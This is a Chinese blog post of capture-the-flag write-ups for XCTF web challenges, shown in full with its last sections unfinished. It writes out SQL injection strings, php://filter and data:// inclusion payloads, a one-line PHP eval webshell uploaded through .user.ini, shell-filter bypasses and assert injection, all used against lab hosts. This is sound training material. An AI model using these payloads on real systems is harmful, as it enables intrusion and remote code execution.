CTF-攻防世界-WEB-WP

本文最后更新于:2024年9月27日 下午

好久没有做过web了,偶然翻到之前写的题解,本人菜鸡一个😭

1_PHP2

描述

打开只有一个显示,“Can you anthenticate to this website?”,检查源代码也没有其他显示。

知识点

-

phps文件就是php的源代码文件,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。因为用户无法直接通过Web浏览器“看到”php文件的内容,所以需要用phps文件代替。

  • 浏览器在将请求传回服务端时会对url解码一次后传回。
思路

首先访问index.php,回显没有变化。试着访问源码phps文件index.phps,发现源码

源码分析:当输入url中输入id=admin时,echo“not allowed!”,不是想要的结果。

我们发现浏览器会对url解码一次,然后urldecode再对url解码一次,相当于对url解码了两次,所以我们再url后跟的应该有url编码两次后的字符,查表,将字符a写为%25%36%31,浏览器解码一次后变为%61,再经过urlencode解码一次后为a,通过检验。

2_EasyPHP

描述

直接进入,发现php代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}

if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}

?>
知识点
  • PHP substr函数:substr(string,start,length)

    start:规定何处开始,可以是负数,表明在从字符串结尾的指定位置开始,-2表示从倒数第二个开始。

  • ==PHP 中字符串与数值比较的陷阱==:

    • 当两个字符比较时,就是比较他们的ASCII码
    • 两个字符串进行比较时,是从第一位开始比较其ASCII码,只要有一位出现了 差异,就返回比较结果。
    • 当字符串与数字比较时,首先系统尝试将此字符串/字符转换为整型/浮点型,然后进行比较,如**’12bsd’转型为12‘a’转型为0,千万需要注意的是此时不是将其对应的ASCII码值与数字进行大小比较了。其实同样的道理,’a’+10结果也是10。并且容易忽略的:0 与任意不可转化为数字的字符串比较(操作符为双等时。即松散比较), 均返回 true。**
思路

​ 直接看到代码尾部有一个Hgfks.php,试着直接访问,发现不行,又访问Hgfks.phps,也不行,好吧,阅读前面的代码。首先从地址栏读取了a,b两个参数,第一个函数是if判断是检验a,b的值是否符合要求,首先对a,有个intval函数,将任意类型转为int型,然后这个值要大于6000000,且a的长度不超过3个字符。那么可以用9e9这种方式传入。再看b,是要b的MD5码的最后6位等于给定输入,尝试用bp爆破,也可以写python脚本碰撞。得到53724为b的值。

继续阅读代码,发现有c作为值,试着绕过c,首先有一个json_decode(@$_GET[‘c’]),说明要c是post,json格式的数据,提交形式c={},首先有一个m,m>2022&&m不是数字,那么我们想到PHP中的松散比较,m不是数字,那么必然是字符串,字符串于数值比较时,如果包含数字,则尝试先转为只保留数字,如果不包含数字,则转为0,所以我们这里会有c={“m”:20222a},m已经通过,向下走,发现c中还有一个变量n,首先n是一个数组,然后count()=2,说明其有两个元素。

那么修改c的形式c={“m”:”20222a”,”n”:[]},可以发现出现了no hack字样,说明我们已经绕过了m的验证,然后

1
is_array($c["n"][0])

说明n的第一个元素要为数组,

1
2
3
4
5
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}

这里是说明n中要包含DGGJ,又不能包含DGGJ,很神奇,这里要解决的话,我们应该想到PHP中比较常见的比较陷阱,array_search的本质是将需要查找的字符串与数组内的元素进行比较,所以我们写0的话是不是就可以绕过这个查询了呢(0在比较中的特殊性),我们可以这样写了c={“m”:”22222a”,”m”:[[0,1],0]},然后try一下,答案来了。

3_SuperSQLi

描述

进入环境后出现一个查询框,如下图

题目已经告诉了这是一道sql注入题,所以直接使用sql注入解题。

知识点
  • ==堆叠注入==:Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句。因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。但是堆叠查询并不是每个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

    一般的拼接形式为:

    1
    2
    3
    =1';show .....
    =1';drop .....
    =1';rename ...
  • SQL的一些表相关的DDL语句知识:

    • show tables; #打印当前所有表
      
      1
      2
      3

      - ```sql
      show columns from `tablename`;#展示指定表的所有字段
    • alter table `ss` rename to `S`;-- 修改表名
      
      1
      2
      3

      - ```sql
      alter table `S` change flag id varchar(100); -- 修改表中字段名和字段类型
思路

首先,使用常用的SQL注入测试,注入’or 1=1,出现了新的回显,就是输入不同的id返回的值,并且只有1,2,114514有不同的返回值,但好像暂时并没有什么用。

然后使用union联查,**’union select * from supersqli;当然是测试题目名构成的表啦,说不定就中了呢。**当然这里没中,回显表明后端进行了一定的过滤。像select、update都被ban掉了,但是show没有被ban掉,可以尝试打印。

我们show一下databases,发现出现了回显,显示了当前DBMS中管理的数据库

发现了supersqli,合理推测这是题目使用的数据库,我们继续查看一下包含的表,show tables

发现当前使用的有两张表,1919810931114514和words,show columns from打印两张表的字段看看。

words表里的内容如下图,包含id和data,非常有可能是题目查询使用的表,因为我们输入的是id的值,返回给我们data的内容

使用的注入语句是

1
2
';show columns from `word`
--注意字符串作为表名使用时应该带有反引号`

1919810931114514表里的内容,包含flag,这应该就是我们需要的东西了,问题现在转到了如何让题目查询1919…这张表。

使用的注入语句是

1
1';show columns from `1919810931114514`;

我们这里采用修改表名的方式修改查询对象,

1’;alter table words rename to word;

没有报错,我们再次查询一下发现,已经找不到原来的表了,也验证了前面猜测这是题目所用的那张表。

**==但是这里出现了一个问题,当我们像修改另一张表的名字时,同样也会报错,为什么呢,因为现在已经找不到words表了,id字段不能被注入了,所以我们应该同时修改两张表,而且同时要修改新的words表的flag字段为id==**,也就是这样写:

1
1';alter table `words` rename to `word`;alter table `1919810931114514` rename to `words`;alter table words change flag id varchar(100);

那么我们再用

1
1'or 1=1;

即可得到答案。

4_CTF_fileinclude_1

描述

进入环境直接一段PHP代码,且是文件上传相关,先去学习一下PHP文件上传相关知识。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
知识点
  • **==PHP伪协议==**:参考文章https://segmentfault.com/a/1190000018991087#item-2

    • php://协议,访问各个IO流,CTF中常用php://filter(用于读取源码)和php://input(执行php代码)

    • php://filer,(>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)文件函数非常有用,类似 readfile()file()file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

      • resource参数:传入要过滤的数据流
      • read参数:可选,可以设定多个过滤器名称
      • write参数:可选,可以设定多个过滤器名称
      • 一个样例:test=php://filter/read=convert.base64-encode/resource=info.php
    • php://input,假如我们post了一个data,则使用input可以读取这个data,所以在url请求头中可以使用input进行传参。同时,可以post一段php代码,让input去执行

      1
      ..../?id=1&&name=php://input
  • PHP include/require函数:如果 include/require 出现于调用文件中的一个函数里,则被调用的文件中所包含的所有代码将表现得如同它们是在该函数内部定义的一样。所以它将遵循该函数的变量范围。此规则的一个例外是魔术常量,它们是在发生包含之前就已被解析器处理的。include在所包含文件找不到时会继续执行之后的代码,而require会报错。

  • Base64编码流程:base64常以=号结尾

    • 1.将所有字符转为8位二进制的ASCII码
    • 2.将8位二进制3个归为一组,共计24位,再拆分为4组,每组6位(
    • 3.将获得的6位二进制转为10进制
    • 4.从Base64编码表获取对应的编码
  • 对于不足6位的补零(图中浅红色的4位),索引为“A”;对于最后不足3字节,进行补零处理(图中红色部分),以“=”替代,因此,“ABCD”的base64编码为:“QUJDRA==”。

思路

代码有一句include(“flag.php”),引入了一个文件,我们合理地猜测flag是包含在flag.php中的,所以我们先访问一下flag.php,发现只打印了一句,并没有flag,说明flag可能在文件的注释里。然后有两个参数,说明我们需要在url中传入file1和file2两个参数。

于是我们合理地想到可以使用文件过滤,将flag.php中地源码提取出来,原因是在第二层的if语句中有

include($file1);,于是我们的url中file1可以这样编写:file1=php://filter/read=convert.base64-encode/resource=flag.php;然后考虑file2,我们先使用hackbar尝试一下

1
http://61.147.171.105:56963/?file1=php://filter/read=convert.base64-encode/resource=flag.php&&file2=hello ctf

发现报错,因为有个file_get_contents函数,file2输入得是个文件才行,但是现在我们没有其他的文件可以输入。

在hackbar里提交如下url,且在post中提交hello ctf,这里hackbar提交不了,选择使用BP提交,先在hackbar里execute,然后再BP里抓包。

1
http://61.147.171.105:56963/?file1=php://filter/read=convert.base64-encode/resource=flag.php&&file2=php://input

如下,注意修改content-length

得到一个base64编码,然后去解码即可

5_file_include 江苏工匠杯(?字符编码问题未懂)

描述

进入环境,看到一段PHP代码

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
知识点
  • PHP——iconv函数
  • 一些常见的字符编码
思路

很明显的是文件包含问题,读代码我们可以发现是要在url中输入一个filename变量。

首先尝试了一下伪协议,filename=php://filter/read=convert.base64-encode/resource=check.php

结果出现了,但是只有一句话。resource改成其他都是相同的回显。说明很可能被过滤,但具体过滤了哪些东西还不清楚

可以使用convert.iconv.,进行过滤,可以使用convert.iconv.utf8.utf16/resource=check.php

6_fileinclude 宜兴网信办

文件包含题。

知识点
  • cookie

  • BP中cookie的写法

    1
    cookie: language=flag
思路

首先检查下网页源代码,发现出现了index.php的源码。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>

<br />
<b>Notice</b>: Undefined index: language in <b>/var/www/html/index.php</b> on line <b>9</b><br />
Please choose the language you want : English or Chinese
<h1>Hi,EveryOne,The flag is in flag.php</h1><html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>

<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
</html></html>

发现是要我们传入一个cookie,其name为language,题目告诉我们答案在flag.php里,那么我们就去那里看看。

设置一下cookie,加上过滤,所以我们这样写

language=php://filter/read=convert.base64-encode/resource=flag

发现直接给出了一段base64编码后的字符串,去转换一下,得出答案。

7_easy_upload_CTF

描述

进入环境,就是一个文件上传的提交

检查一下网页源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<style type="text/css">
.round_icon{
width: 88px;
height: 88px;
display: flex;
border-radius: 50%;
align-items: center;
justify-content: center;
overflow: hidden;
margin: 0 auto;
}
</style>
<title>easyupload</title>
</head>

<body background="background.jpg" style="background-size:cover">
<br>
<br>
<br>
<br>
<div style="text-align: center;">
<img src="uploads/index.php" class="round_icon" align="middle" alt="">
<br>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file" style="color: blue;">更换头像</label>
<input type="file" name="fileUpload" id="file" style="color: blue;"><br>
<input type="submit" name="upload" value="提交">
</form>
</div>
</body>

</html>
知识点
  • **==.htaccess文件==**:.htaccess 由于它以点或点开头,因此通常称为“点文件”。 点文件几乎总是某种形式的配置文件。 点文件可以用于操作系统或软件。 默认情况下,操作系统会将点文件隐藏在查找程序窗口或任何类型的系统文件管理器中。 通常,您必须从操作系统的首选项中选择“显示隐藏的文件”选项。 或者您可以使用 ls -a 命令以在命令行上显示所有文件。

    ​ 全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

    .htaccess的配置文件只能在Apache服务器中起作用

  • ==.user.ini==php.ini是php的全局配置文件,对整个web服务起作用,.user.ini和.htaccess都是目录的配置文件,.user.ini是用户自定义的php.ini,通常构造后门和隐藏后门。

  • <?php =eval($_REQUEST["xxx"] )?>:_REQUEST包含了 _GET、 GET、_POST、$_COOKIE的所有内容,是它们的集合体。也就内是说只要用其中一种方容式做一个表单,把cmd这个变量给POST或者GET,甚至用cookies就可以把传输上去的内容执行。简而言之吧,就是执行cmd的值。

  • 蚁剑的工作原理:首先你需要发现服务端的一句话木马,每次连接的密码其实就是一句话木马的名字,蚁剑会帮你执行各种代码以获取完整的服务器目录。

  • **==利用.user.ini的条件==**:

    **服务器脚本语言为PHP **

    **服务器使用CGI **

    **FastCGI模式 **

    上传目录下要有可执行的php文件

  • **==图片头文件GIF89a==**:

    一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。

  • 关于在Content-Type中multipart/form-data的解析:

    boundary是表示分隔,用于分隔多个文件。格式是:–后面跟着一串随机数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNolPbAiXBmFZAw6W

    Connection: close

    //提交为文件
    ------WebKitFormBoundaryNolPbAiXBmFZAw6W
    Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
    Content-Type: application/octet-stream
    //这里的content-type是文件类型,浏览器自己判断
    GIF89a
    auto_prepend_file=b.jpg
    ------WebKitFormBoundaryNolPbAiXBmFZAw6W
    Content-Disposition: form-data; name="upload"
    提交
    ------WebKitFormBoundaryNolPbAiXBmFZAw6W--

    //提交为表单字段
    ------WebKitFormBoundaryxHKqg3ljAsuAFWBO
    Content-Disposition: form-data; name="note"
    字段内容
    ------WebKitFormBoundaryxHKqg3ljAsuAFWBO
思路

首先试一下能不能访问index.phpsflag.php,好吧,都没用。题目的意思一个是想让我们上传一张图片。我们先上传其他的类型的文件试试:

上传.txt文件回显:your filetype looks wicked(你的文件是恶意的),说明大部分的文件格式被过滤

上传图片文件回显:file upload successful, the path is: uploads/2051259.jpg

可以知道文件上传后是存放在uploads/文件夹里

我们需要明确一点,文件上传的解题是需要我们上传可执行文件,从而控制服务端

所以我们这里使用.user.ini配置文件来让index.php文件包含一个webshell,所以我们先创建一个包含shell语句的图片马b.txt

内容如下:之后修改文件后缀为.gif,直接上传即可,因为图片文件未被过滤

1
2
GIF89a
<?=eval($_REQUEST['cmd']);?>

之后想办法上传.user.ini文件,但会被过滤,所以我们使用BP抓包,修改上传文件的类型application/octet-streamimage/gif,

创建一个.user.ini文件,其内容如下:auto_prepend_file是指当前目录下的任意php文件都要包含=之后的文件

1
2
GIF89a
auto_prepend_file=b.gif

上传成功,未被过滤

下面我们使用蚁剑连接服务器:

首先查看地址,是要在/uploads目录下

连接成功,可能会连接不上,多上传几次

在根目录下发现flag

答案:cyberpeace{9f37b587e6875ce35380526dba1120c6}

8_unseping 江苏工匠杯(过滤的绕过)

描述

进去就是一段php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
highlight_file(__FILE__);

class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}

function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}

function ping($ip){
exec($ip, $result);
var_dump($result);
}

function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}

function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
知识点
  • PHP序列化和反序列化

    序列化(串行化):是将变量转换为可保存或传输的字符串的过程;

    反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用。

    这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。

    常见的php序列化和反序列化方式主要有:serialize,unserialize;json_encode,json_decode。

  • 反序列化中常见的魔术函数:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    __construct() 当一个对象创建时被调用,反序列化不触发
    __destruct() 当一个对象销毁时被调用
    __toString() 当一个对象被当作一个字符串使用,比如echo输出或用 . 和字符串拼接
    __call() 当调用的方法不存在时触发
    __invoke() 当一个对象被当作函数调用时触发
    __wakeup() 反序列化时自动调用
    __sleep() 执行serialize()时,先会调用这个函数
    __get() 类中的属性私有或不存在触发
    __set() 类中的属性私有或不存在触发
  • PHP函数:

    • call_user_func_array:把第一个参数作为回调函数进行调用,第二个参数传入数组,将数组中的值作为回调函数的参数
    • exec:用来执行一个外部程序,不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面
    • passthru:只调用命令,把命令的运行结果原样地直接输出到标准输出设备上
    • system:输出并返回最后一行shell结果
  • ==shell语句被过滤的一些绕过技巧:==

    空格被过滤:

    1
    < 、<>、%09(tab键)、%20、$IFS$9、$IFS$1、${IFS}、$IFS等,还可以用{} 比如 {cat,flag}

    敏感字符被过滤:

    字符串转为8进制

  • linux中的**(shell)

  • ==linux中的printf函数支持字符串的8进制表示的读入==:使用printf “hello world”
思路

​ 这是一个很明显的反序列化题。首先可以明确的是我们需要传入一个POST变量ctf,其反序列化生成的对象时,会首先调用construct函数构造一个对象,然后调用__wakeup函数,其调用了waf,去检测args里是否有敏感字符cat|flag|tac|php|ls,这里说明args应该是一个数组,先记下。

1
2
3
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);//检测敏感字符
}

然后代码结束,调用__destruct函数,发现这是在查看上传的method是否在数组ping中,如果有,则调用call_user_func_array,将array($this, $this->method)作为函数,this->args作为函数参数,很显然,我们应该去调用ping函数,里面有exec函数,这个函数可以使用系统命令,我们可以查看当前服务器下的一些东西

1
2
3
4
function ping($ip){
exec($ip, $result);
var_dump($result);
}

那么上传变量的产生方式应为:在PHP代码里生成序列化,然后base64-encode。

比如我们想要查看index.php同级目录下的文件,

我们可以在PHP中这样写:

1
2
3
4
5
6
7
$a=new ease('ping',array('ls'));
echo base64_encode(serialize($a));
//但是我们想起来之前有一段对输入数组的过滤,其中就有ls,那么我们应该写为
$a=new ease('ping',array('l\s'));//使用反写杠绕过过滤

//执行得到
//Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJsXHMiO319

注意用POST参数传入

那么我得到回显:array(2) { [0]=> string(12) "flag_1s_here" [1]=> string(9) "index.php" }

说明index.php同级目录下还有一个flag_1s_here文件,没有后缀的话,可能时目录,编写shell,继续执行

1
2
3
4
$a=new ease('ping',array('l\s${IFS}-l${IFS}fl\ag_1s_here'));//注意flag和空格也被过滤掉,分别用反斜杠和${IFS}绕过

//执行得到
//Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozMDoibFxzJHtJRlN9LWwke0lGU31mbFxhZ18xc19oZXJlIjt9fQ==

回显:array(2) { [0]=> string(7) "total 4" [1]=> string(64) "-rwxr-xr-x 1 root root 53 Nov 9 13:21 flag_831b69012c67b35f.php" }

flag应该就在flag_831b69012c67b35f.php里了

因为/被过滤掉了,所以将字符串转为8进制,正常的字符串应该这样写

1
$a=new ease('ping',array('$(printf${IFS}"cat /flag_1s_here/flag_831b69012c67b35f.php")'));

那么转为8进制则为:

1
2
3
4
$a=new ease('ping',array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));

//执行得到
//Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319

最后访问即可得到flag:cyberpeace{48a58397b3c434b2436426a5c3479d12}

9_upload1

描述

文件上传题,检查网页源码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<script type="text/javascript">
Array.prototype.contains = function (obj) {
var i = this.length;
while (i--) {
if (this[i] === obj) {
return true;
}
}
return false;
}
function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

if(['jpg','png'].contains(ext)){
submit.disabled = false;
}else{
submit.disabled = true;

alert('请选择一张图片文件上传!');
}
}
知识点
  • 本题JS绕过:修改上传文件后缀
思路

文件上传题,想办法上传webshell,很明显前端有一个JS过滤,有两种办法,一种是在网页元素里删除JS后上传,另一种是上传图片🐎,我这里选择上传图片🐎。

编写一个图片🐎b.jpg:

1
<?=eval($_REQUEST['cmd']);?>

bypass前端后通过BP抓包修改

回显:upload success : upload/1667464623.b.php

通过蚁剑连接:http://61.147.171.105:50598/upload/1667464623.b.php 密码为:cmd

找到flag

10_文件包含 泰山杯

描述

文件包含题,进入直接一段php代码

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
思路

很明显,要提交一个filename参数进去。

首先,随便提交一个payload,filename=flag.php

有回显:you have use the right usage , but error method

然后尝试一下php伪协议,payload:filename=php://filter/read=convert.base64-encode/resource=check.php

有回显:do not hack!,说明是有过滤的。继续构造payloadfilename=php://filter/read,还是被过滤,说明是read被过滤掉了,同样的发现base64被过滤。

尝试后发现convert.iconv.未被过滤,那么可以使用BP对iconv中的两个字段爆破,使用提前编写好的字典。

.iconv的两个可选参数标为payload,并且选择Cluster bomb模式,设置好字典为准备好的.txt文件。爆破出来选择最长的response查看。

11_

描述

直接可以看到代码,检查网页源码也是一样

1
2
3
4
5
6
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
知识点
  • PHP反序列化编写格式:

    1
    2
    3
    4
    //反序列化数组,a是数组的意思
    a:3:{i:0;s:4:"4444";i:1;s:3:"123";}
    //反序列化对象,O是对象的意思
    O:4:"xctf":2:{s:4:"test";s:4:"fall";s:4:"flag";s:3:"111";}
  • __wakeup函数的bypass:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行

思路

很显然只是显示了部分代码,只有给出的code可以操作,那么传一个code参数上去

code=111,回显you should not type an integer,告诉我们不传整型,且说明code变量是可用的。

这是一个反序列化的问题。

反序列化构造:O:4:"xctf":1:{s:4:"flag";s:3:"111";},这样行不通,会调用wakeup函数

利用PHP漏洞:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行,

传入:O:4:"xctf":2:{s:4:"flag";s:3:"111";}

回显:the answer is : cyberpeace{475ed74daf373a5a3a3fe01821af26e4}

12_Web_php_include_CTF

描述

进去就是一段代码

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
知识点
  • PHP函数——strstr:搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。

  • PHP函数——str_replace:以其他字符替换字符串中的一些字符

  • ==PHP伪协议:data://==:类似php://input,可以让用户来控制输入流,用户输入的data://流会被当作php文件执行,从而执行我们想要执行的代码。要求allow_url_fopen=On,allow_url_include=On
  • var_dump用于显示字符串

思路

题目的意思很明显,我们要传一个GET类型的page参数上去,然后其会替换page里面的php://为空,防止我们显示文件内容。那么我们使用data://就好了。

首先构造payload:?page=data://text/plain,<?php exec('ls',$result);var_dump($result);?>

获得如下回显:

array(3) { [0]=> string(18) "fl4gisisish3r3.php" [1]=> string(9) "index.php" [2]=> string(11) "phpinfo.php" }

data://text/plain,<?php echo $page?>

很显然,我们的flag应该在fl4gisisish3r3.php文件里,那么我们cat一下文件里的内容就行了。

再构造payload:?page=data://text/plain,<?php exec('cat fl4gisisish3r3.php',$result);var_dump($result);?>

获得如下回显:array(3) { [0]=> string(5) " string(50) "$flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}";" [2]=> string(2) "?>" },找到flag.

ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

13_Web_php_unserialize(题解未写完)

描述

进去一段PHP代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
知识点
  • wakeup函数的绕过方法
  • O:+6绕过对O的正则匹配
  • 字符逃逸问题
思路

反序列化题,注意到__destruct里有一个highlight_file,这里就是出flag的地方。

显然,题目已经告诉我们secret在fl4g.php里,我们不妨先想办法去看看再说,

上传一个GET参数var,首先会被base64解码,然后会被正则过滤关键字,这里需要绕过,然后就被反序列化了,开始调用一个wakeup函数,会判断file参数是否是index,不是则置为index,这里也需要绕过,总共两个绕过点。

wakeup函数很好绕过,关键是正则匹配,/[oc]:\d+:/,这里的意思是匹配o:数字:,所以我们序列化中的o:4,就需要改一下。

1
2
3
4
5
6
$a=new Demo('fl4g.php');
$s=str_replace('O:4','O:+4',unserialize($a));
$s=str_replace('1:','2:',$s);
echo base64-encode($s);
//O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
//TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

payload就为TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

14_MFW(git泄露)

描述

进去是一个个人网站的样子。跳转到About页面时,出现:

使用了Git,说明开发者使用Git进行版本控制,很可能会存在Git引起的文件泄露问题。

知识点
  • Git引起的文件泄露

  • PHP函数:str_pos:

  • PHP函数:assert:

    • 书写格式:

      1
      2
      3
      4
      //PHP5,7
      assert(mixed $assertion, string $description = ?): bool
      //PHP7
      assert(mixed $assertion, Throwable $exception = ?): bool
    • 如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。如果传入了 boolean 的条件作为 assertion,这个条件将不会显示为断言函数的参数;在调用你定义的assert_options处理函数时,条件会转换为字符串,而布尔值 false 会被转换成空字符串

思路

可能是Git泄露,尝试在浏览器访问:/.git/,结果出现了回显,说明猜测正确。我们使用git hack获取服务器上用git管理的文件

首先在命令行中进入githack目录下,使用python GitHack.py http://61.147.171.105:56499/.git/,之后会在git hack目录下生成获取到的文件的文件夹。

获得的index.php代码如下:省略html部分

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

发现了assert函数,可以通过其来执行PHP代码,这里就是解题的关键。

构造payload:fff')用于闭合assert函数

fff') or exec("ls",$result);var_dump($result);// 不行

fff') or include("data://text/plain,<?php exec("ls",$result);var_dump($result);?>"); 不行

fff') or system("cat templates/flag.php")// 可行

15_ics_05

描述

